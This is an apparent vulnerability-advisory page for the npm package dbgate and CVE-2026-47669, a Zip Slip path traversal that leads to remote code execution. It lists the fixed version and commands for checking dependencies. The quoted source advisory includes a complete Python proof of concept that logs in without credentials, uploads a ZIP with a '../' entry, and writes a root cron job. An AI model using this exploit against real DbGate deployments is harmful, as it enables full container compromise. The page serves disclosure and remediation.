Vulnerabilities in pkg:npm/dbgate

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Advisory Identifier: GHSA-h535-j5hr-mv56
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Advisory Summary

CVE-2026-47669 is a CRITICAL remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting DbGate libraries in the npm ecosystem. The issue involves zip slip in archive/unzip allows arbitrary file write leading to rce. Remediation is available by upgrading affected packages to version 7.1.9.

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Vulnerability advisories affecting package pkg:npm/dbgate. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-h535-j5hr-mv56 CVE-2026-47669 CRITICAL DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE

CVE-2026-47669 at a Glance

CVE Identifier CVE-2026-47669
GHSA Identifier GHSA-h535-j5hr-mv56
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product DbGate
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-47669

To remediate this vulnerability, upgrade all affected DbGate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dbgate fixed: 7.1.9 
npm install dbgate@7.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls dbgate

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-47669, inspect your project dependencies using npm:

npm ls dbgate

Analyze the terminal output to locate any version of DbGate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.9), your application is affected.

Note: The npm ls dbgate command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In DbGate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.

CVE-2026-47669 Affected DbGate Versions

1 component(s)
Fixed Versions:
7.1.9
Product / Package Ecosystem Affected Versions Fixed Version
dbgate
npm/dbgate
npm
< 7.1.9
7.1.9

References

GitHub Advisory / Wiki ADVISORY
https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56
DbGate Source Repository REPOSITORY
https://github.com/dbgate/dbgate
DbGate Release RELEASE
https://github.com/dbgate/dbgate/releases/tag/v7.1.9

Frequently Asked Questions

What is CVE-2026-47669?
CVE-2026-47669 is a security vulnerability in DbGate involving Zip Slip in archive/unzip allows arbitrary file write leading to RCE under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which DbGate versions are affected?
Affected versions include releases prior to 7.1.9 across affected packages: dbgate.
What version fixes CVE-2026-47669?
Upgrading to 7.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dbgate affected?
Yes, dbgate is affected in releases prior to 7.1.9. Upgrade your dependency to 7.1.9 or later.
What CWE is associated with CVE-2026-47669?
CVE-2026-47669 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-47669?
Run the dependency tree command: 'npm ls dbgate'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
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